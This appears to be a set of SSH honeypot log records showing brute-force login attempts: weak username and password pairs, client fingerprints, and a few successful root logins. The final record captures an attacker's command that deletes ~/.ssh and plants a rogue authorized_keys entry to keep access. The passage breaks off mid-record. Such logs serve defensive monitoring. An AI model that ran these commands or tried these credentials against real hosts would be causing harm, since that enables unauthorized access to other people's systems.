Adversarial Observation Interface

2.57.121.25

2026-05-17 19:44:28.242044 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: user

Record ID: 1c227ff38cdf

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "1c227ff38cdf",
  "src_ip": "2.57.121.25",
  "start_time": "2026-05-17T19:44:28.242044Z",
  "end_time": "2026-05-17T19:44:35.009163Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "user",
      "pass": "27041991"
    },
    {
      "user": "user",
      "pass": "270386"
    },
    {
      "user": "user",
      "pass": "26121980"
    },
    {
      "user": "user",
      "pass": "261088"
    },
    {
      "user": "user",
      "pass": "260790"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

183.104.220.84

2026-05-17 19:38:31.847047 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user

Record ID: 8663f41b854b

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.5s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "8663f41b854b",
  "src_ip": "183.104.220.84",
  "start_time": "2026-05-17T19:38:31.847047Z",
  "end_time": "2026-05-17T19:38:36.394923Z",
  "duration": "4.5",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "user",
      "pass": "webadmin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

81.214.75.248

2026-05-17 19:38:06.242173 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nobody

Record ID: 00040f5d68cb

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.4s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "00040f5d68cb",
  "src_ip": "81.214.75.248",
  "start_time": "2026-05-17T19:38:06.242173Z",
  "end_time": "2026-05-17T19:38:09.656162Z",
  "duration": "3.4",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "nobody",
      "pass": "password123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

213.209.159.56

2026-05-17 19:21:46.622360 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: allissa

Record ID: 20d417d7040b

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.7s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "20d417d7040b",
  "src_ip": "213.209.159.56",
  "start_time": "2026-05-17T19:21:46.622360Z",
  "end_time": "2026-05-17T19:21:53.281191Z",
  "duration": "6.7",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "allissa",
      "pass": "allissa"
    },
    {
      "user": "allissa",
      "pass": "allissa1"
    },
    {
      "user": "allissa",
      "pass": "allissa123"
    },
    {
      "user": "allissa",
      "pass": "allissa1234"
    },
    {
      "user": "allissa",
      "pass": "allissa12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-17 19:14:03.110974 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: c9ab77ea51dd

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "c9ab77ea51dd",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-17T19:14:03.110974Z",
  "end_time": "2026-05-17T19:14:04.972592Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

111.39.167.59

2026-05-17 19:09:45.788851 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9d3d3e82239a

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.3s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "9d3d3e82239a",
  "src_ip": "111.39.167.59",
  "start_time": "2026-05-17T19:09:45.788851Z",
  "end_time": "2026-05-17T19:09:50.047589Z",
  "duration": "4.3",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

110.227.215.90

2026-05-17 19:09:09.526690 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test

Record ID: 9c0bff92aa73

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.6s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "9c0bff92aa73",
  "src_ip": "110.227.215.90",
  "start_time": "2026-05-17T19:09:09.526690Z",
  "end_time": "2026-05-17T19:09:13.098985Z",
  "duration": "3.6",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "test",
      "pass": "test2020"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-17 19:02:05.726060 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: a8847ee76285

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "a8847ee76285",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-17T19:02:05.726060Z",
  "end_time": "2026-05-17T19:02:07.586365Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

92.255.196.185

2026-05-17 18:55:24.051070 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: operator

Record ID: ff5dd3d6ed67

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.1s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "ff5dd3d6ed67",
  "src_ip": "92.255.196.185",
  "start_time": "2026-05-17T18:55:24.051070Z",
  "end_time": "2026-05-17T18:55:27.118064Z",
  "duration": "3.1",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "operator",
      "pass": "66666"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

111.171.127.190

2026-05-17 18:42:25.732783 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: scan

Record ID: 00b1db6773af

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 5.3s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "00b1db6773af",
  "src_ip": "111.171.127.190",
  "start_time": "2026-05-17T18:42:25.732783Z",
  "end_time": "2026-05-17T18:42:31.005624Z",
  "duration": "5.3",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "scan",
      "pass": "scan"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

177.130.168.148

2026-05-17 18:39:49.935722 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: backuppc

Record ID: 0412e9a7ddca

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.8s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "0412e9a7ddca",
  "src_ip": "177.130.168.148",
  "start_time": "2026-05-17T18:39:49.935722Z",
  "end_time": "2026-05-17T18:39:54.756638Z",
  "duration": "4.8",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "backuppc",
      "pass": "backuppc"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

192.168.0.1

2026-05-17 18:30:05.778645 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e80c3df26638

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "e80c3df26638",
  "src_ip": "192.168.0.1",
  "start_time": "2026-05-17T18:30:05.778645Z",
  "end_time": "2026-05-17T18:30:05.790743Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.112

2026-05-17 18:28:13.388382 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: admin

Record ID: 4a886e5695b2

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "4a886e5695b2",
  "src_ip": "2.57.121.112",
  "start_time": "2026-05-17T18:28:13.388382Z",
  "end_time": "2026-05-17T18:28:20.156930Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "admin",
      "pass": "bancroft"
    },
    {
      "user": "admin",
      "pass": "banana12"
    },
    {
      "user": "admin",
      "pass": "bamba"
    },
    {
      "user": "admin",
      "pass": "baltic"
    },
    {
      "user": "admin",
      "pass": "ballball"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-05-17 18:27:40.443072 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: user

Record ID: e2cfb4aafafe

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "e2cfb4aafafe",
  "src_ip": "2.57.121.25",
  "start_time": "2026-05-17T18:27:40.443072Z",
  "end_time": "2026-05-17T18:27:47.209930Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "user",
      "pass": "270986"
    },
    {
      "user": "user",
      "pass": "27081980"
    },
    {
      "user": "user",
      "pass": "270788"
    },
    {
      "user": "user",
      "pass": "27071975"
    },
    {
      "user": "user",
      "pass": "27061975"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

78.189.17.35

2026-05-17 18:26:18.164546 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 123qweASD

Record ID: 7fe4788fa833

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.4s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "7fe4788fa833",
  "src_ip": "78.189.17.35",
  "start_time": "2026-05-17T18:26:18.164546Z",
  "end_time": "2026-05-17T18:26:21.552348Z",
  "duration": "3.4",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "123qweASD",
      "pass": "123qweASD"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.166.167.59

2026-05-17 18:18:26.851831 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 232279a85a99

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "232279a85a99",
  "src_ip": "70.166.167.59",
  "start_time": "2026-05-17T18:18:26.851831Z",
  "end_time": "2026-05-17T18:20:26.863439Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

87.251.64.176

2026-05-17 18:16:05.484673 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: 7ffacd91a1af

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "7ffacd91a1af",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-17T18:16:05.484673Z",
  "end_time": "2026-05-17T18:16:07.346953Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

187.115.144.103

2026-05-17 18:13:11.472386 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / P@$$w0rd

Record ID: 07e49917d24f

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 8.9s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "07e49917d24f",
  "src_ip": "187.115.144.103",
  "start_time": "2026-05-17T18:13:11.472386Z",
  "end_time": "2026-05-17T18:13:20.422545Z",
  "duration": "8.9",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@$$w0rd"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

49.206.194.29

2026-05-17 18:12:56.249857 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / P@$$w0rd

Record ID: ca6de1c2b03b

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 10.1s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "ca6de1c2b03b",
  "src_ip": "49.206.194.29",
  "start_time": "2026-05-17T18:12:56.249857Z",
  "end_time": "2026-05-17T18:13:06.364251Z",
  "duration": "10.1",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@$$w0rd"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

177.174.105.113

2026-05-17 18:10:29.191093 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / admin123456

Record ID: 0da4bf6332b8

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 9.7s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "0da4bf6332b8",
  "src_ip": "177.174.105.113",
  "start_time": "2026-05-17T18:10:29.191093Z",
  "end_time": "2026-05-17T18:10:38.906507Z",
  "duration": "9.7",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin123456"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

213.209.159.56

2026-05-17 18:07:12.200861 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: timmy

Record ID: 920d426a4250

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.6s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "920d426a4250",
  "src_ip": "213.209.159.56",
  "start_time": "2026-05-17T18:07:12.200861Z",
  "end_time": "2026-05-17T18:07:18.802223Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "timmy",
      "pass": "timmy"
    },
    {
      "user": "timmy",
      "pass": "timmy1"
    },
    {
      "user": "timmy",
      "pass": "timmy123"
    },
    {
      "user": "timmy",
      "pass": "timmy1234"
    },
    {
      "user": "timmy",
      "pass": "timmy12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-17 18:02:50.927729 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: d5510ece502b

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "d5510ece502b",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-17T18:02:50.927729Z",
  "end_time": "2026-05-17T18:02:52.774559Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

191.36.154.175

2026-05-17 17:57:22.386682 UTC

FAILED LOGIN SCORE: 10

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi

Record ID: ec18d29658de

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 1m 6s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "ec18d29658de",
  "src_ip": "191.36.154.175",
  "start_time": "2026-05-17T17:57:22.386682Z",
  "end_time": "2026-05-17T17:58:28.156592Z",
  "duration": "65.8",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "pi",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:53:37.176772 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: xmr

Record ID: 9190f27c5b35

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9190f27c5b35",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:53:37.176772Z",
  "end_time": "2026-05-17T17:53:39.099573Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "xmr",
      "pass": "xmr"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.238

2026-05-17 17:53:10.513824 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol

Record ID: b2781fa3a6a2

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "b2781fa3a6a2",
  "src_ip": "2.57.122.238",
  "start_time": "2026-05-17T17:53:10.513824Z",
  "end_time": "2026-05-17T17:53:12.355985Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "sol",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:52:26.548420 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: web

Record ID: a3f963a5f825

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a3f963a5f825",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:52:26.548420Z",
  "end_time": "2026-05-17T17:52:28.469899Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "web",
      "pass": "0000"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:51:08.321495 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hqadmin

Record ID: 9bf18c08ebef

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9bf18c08ebef",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:51:08.321495Z",
  "end_time": "2026-05-17T17:51:10.234626Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "hqadmin",
      "pass": "hqadmin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.238

2026-05-17 17:50:57.282321 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol

Record ID: 7e4fc3b0a5c3

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "7e4fc3b0a5c3",
  "src_ip": "2.57.122.238",
  "start_time": "2026-05-17T17:50:57.282321Z",
  "end_time": "2026-05-17T17:50:59.127398Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "sol",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:50:00.899457 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlab-runner

Record ID: 0cbbdf05c94d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0cbbdf05c94d",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:50:00.899457Z",
  "end_time": "2026-05-17T17:50:02.814023Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "gitlab-runner",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:48:57.213861 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 414d1326cf3f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "414d1326cf3f",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:48:57.213861Z",
  "end_time": "2026-05-17T17:48:58.134788Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:48:55.150346 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: a005c0cbcf44

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a005c0cbcf44",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:48:55.150346Z",
  "end_time": "2026-05-17T17:48:57.070358Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:48:53.208392 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / p-0p-0p-0

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 961fb7832ace

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "961fb7832ace",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:48:53.208392Z",
  "end_time": "2026-05-17T17:48:58.131840Z",
  "duration": "4.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "p-0p-0p-0"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
